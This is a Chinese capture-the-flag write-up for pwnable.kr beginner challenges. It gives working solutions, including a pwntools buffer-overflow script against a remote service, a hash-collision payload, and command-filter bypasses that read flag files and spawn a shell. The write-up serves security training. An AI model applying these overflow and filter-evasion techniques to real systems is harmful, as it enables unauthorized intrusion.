0x0 Toddler’s Bottle

0x00 fd

首先稍微学习一下file descriptor,然后登录上去看看到底是什么情况。

1
2
3
4
5
6
7
8
9
10
11
fd@ubuntu:~$ ls -alh
total 40K
drwxr-x--- 5 root fd 4.0K Oct 26 2016 .
drwxr-xr-x 92 root root 4.0K Aug 12 10:28 ..
d--------- 2 root root 4.0K Jun 12 2014 .bash_history
-rw------- 1 root root 128 Oct 26 2016 .gdb_history
dr-xr-xr-x 2 root root 4.0K Dec 19 2016 .irssi
drwxr-xr-x 2 root root 4.0K Oct 23 2016 .pwntools-cache
-r-sr-x--- 1 fd_pwn fd 7.2K Jun 11 2014 fd
-rw-r--r-- 1 root root 418 Jun 11 2014 fd.c
-r--r----- 1 fd_pwn root 50 Jun 11 2014 flag

可以看到除了隐藏文件就是 fd fd.c flag ,所以目标就是获取flag中的内容然后提交到网站上。
但是由于权限问题我们是不能直接查看flag文件的,实际上在不能成为root的情况下只有通过可执行文件fd才有可能操作flag文件,因为fd带有Set UID权限,在它运行的时候可以暂时获得fd_pwn这个用户的权限。那么剩下的那个fd.c文件可以推测是fd文件的源代码。
另外,fd用户对当前目录没有write权限,所以要通过查看fd.c分析fd的行为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}

程序里用到的file descriptor竟然不是open返回的,而是根据命令行参数变换出来的,也就是说要给出一个数字,使得这个数字作为文件描述符对应的文件里的内容是特定的字符串。这在正常情况下是不可能的,因为一个文件的文件描述符只在同一个进程里是确定的,更何况当前用户也不能新建文件。但是UNIX下确实有三个文件的文件描述符是绝对确定的,它们就是 stdin stdout stderr 。所以只要让fd变量等于0,我们就可以输入任意的内容,我觉得至少有三种方法:

  1. 非常普通的输入0x1234对应的十进制数,./fd 4660
  2. 看起来太fancy但是实际上非常有用的命令,涉及到shell语言的弱引用以及python的命令行执行字符串

    1
    ./fd `python -c "print 0x1234"`
  3. gdb可用,应该可以直接set fd甚至set buf(没有实际尝试)

最后把打出来的内容贴到网站上这题就通过了。

0x01 collision

权限控制和目标之类的跟上一题都是一样的,之后都省略了。
home目录提供了可执行程序和C语言源程序,先看一下源程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

首先看到用法是命令行加一个字符串参数执行,字符串长度等于20才会进行之后的操作。然后看到check_password里面其实就是把4个char拼成1个int并全加起来。其实我们只需要4个就能控制最终结果,又因为\x00是C语言的字符串结束标志,我们可以前16个字节全都填\x01,然后计算一下最后4个字节应该是什么,注意一下小端序就可以。

1
./col `python -c "print '\x01'*16 + '\xe8\x05\xd9\x1d'"`

NOTE: 最开始以为都要可打印字符暴力了很久。。。其实大概只要不包含控制字符就可以了?

0x02 bof

先把文件下载下来,稍微检查一下。

1
2
3
4
5
6
7
➜ Documents checksec bof
[*] '/home/zyyyyy/Documents/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

源代码里有一个gets函数可以溢出。虽然开了金丝雀,反正还是拖进IDA看一看。一看,相对ebp寻址,那么首先输入偏移量这么多的字符,再输入4个字符覆盖栈中存的ebp,再输入4个字符覆盖栈中的返回地址,最后输入4个字符覆盖函数的第一个参数也就是key。这些可以参考C语言函数调用栈(一)

1
2
3
4
5
from pwn import *
sh = remote('pwnable.kr',9000)
payload = 'a'*0x2c + 'bbbb' + 'rrrr' + p32(0xcafebabe)
sh.sendline(payload)
sh.interactive()

至于金丝雀为什么没有起作用其实从汇编层面更明显一点,实际上直到这个函数将要return的时候才会检查金丝雀值,然而程序执行到if然后马上又执行了一个system,也就是说在我们获得shell的时候还没金丝雀啥事,所以当然就可以啦。

0x03 flag

执行一下,就输出一句话,也不接收什么东西。。。
刚开始直接扔IDA了。。。然后看到了一大堆乱七八糟的东西。。。

1
2
3
4
5
6
7
8
9
➜ Documents checksec flag
[*] '/home/zyyyyy/Documents/flag'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Packer: Packed with UPX

可以发现最下面出现一个packer,查一查UPX,开源软件而且可以直接apt装,装完以后解包再看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜ Documents upx -d flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013
File size Ratio Format Name
-------------------- ------ ----------- -----------
887219 <- 335288 37.79% linux/ElfAMD flag
Unpacked 1 file.
➜ Documents checksec flag
[*] '/home/zyyyyy/Documents/flag'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

正常了,再扔IDA里面,F5看了半天。后来觉得应该看一下所有string(Shift+F12),第一行就出现了UPX,长得就像flag,提交一下果然对了。对了之后再看,发现在汇编界面main函数puts往下第四行赫然就写着cs:flag。。。猜测是因为用了静态链接,导致IDA反编译输出的代码非常复杂,啥都看不太懂。。。
NOTE: 不能总是一上来就F5,不仅没啥提高还会导致丢失一些信息。。。

0x05 random

有源代码直接看源代码

1
2
unsigned int random;
random = rand(); // random value!

显然rand()产生的是伪随机数,且不播种种子就是0,可以写个python算出应该输入的值

1
2
3
4
5
6
>>> from ctypes import *
>>> libc = cdll.LoadLibrary("libc.so.6")
>>> r = libc.rand()
>>> x = r ^ 0xdeadbeef
>>> print x
3039230856

0x08 mistake

直接看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}

显然两个if处都有优先级的问题,会先进行<>的运算再进行赋值,所以在文件存在的情况下fd一定等于0,也就是一定从stdin读入。根据后面的逻辑,即输入两个串使得第一个串异或1之后等于第二个串就可以了,例如

1
2
0123456789
1032547698

0x0d cmd1

整个程序先putenv设置环境变量,然后filter过滤,最后由system函数执行。
虽然设置了环境变量,但只要使用绝对路径一样可以调用。
至于过滤也很好绕过。

1
2
./cmd1 "/bin/cat f''lag" # 加分隔符
./cmd1 "/bin/cat f*" # 用通配符

同理其实也可以进入cmd1_pwn组的shell

1
./cmd1 "/bin/s''h" # 加分隔符

0x13 blukat

描述非常神奇的一道题,做法也很神奇。
登录上去以后看了一下代码,需要输入一个串使得跟password相等
查看一下权限,跟其他的题是一样的

1
2
3
4
5
6
7
8
9
blukat@ubuntu:~$ ls -alh
total 36K
drwxr-x--- 4 root blukat 4.0K Aug 15 22:55 .
drwxr-xr-x 93 root root 4.0K Oct 10 22:56 ..
dr-xr-xr-x 2 root root 4.0K Aug 15 22:55 .irssi
drwxr-xr-x 2 root root 4.0K Aug 15 22:55 .pwntools-cache
-r-xr-sr-x 1 root blukat_pwn 9.0K Aug 8 06:44 blukat
-rw-r--r-- 1 root root 645 Aug 8 06:43 blukat.c
-rw-r----- 1 root blukat_pwn 33 Jan 6 2017 password

尝试一下查看password

1
2
blukat@ubuntu:~$ cat password
cat: password: Permission denied

看上去就像个权限不够的提示,但是实际上用more/less/vim就会发现问题。。。
其实这句话就是password文件的全部内容。。。

1
2
blukat@ubuntu:~$ id
uid=1104(blukat) gid=1104(blukat) groups=1104(blukat),1105(blukat_pwn)

NOTE: 这个题目告诉我们当前的身份很重要,包括group权限!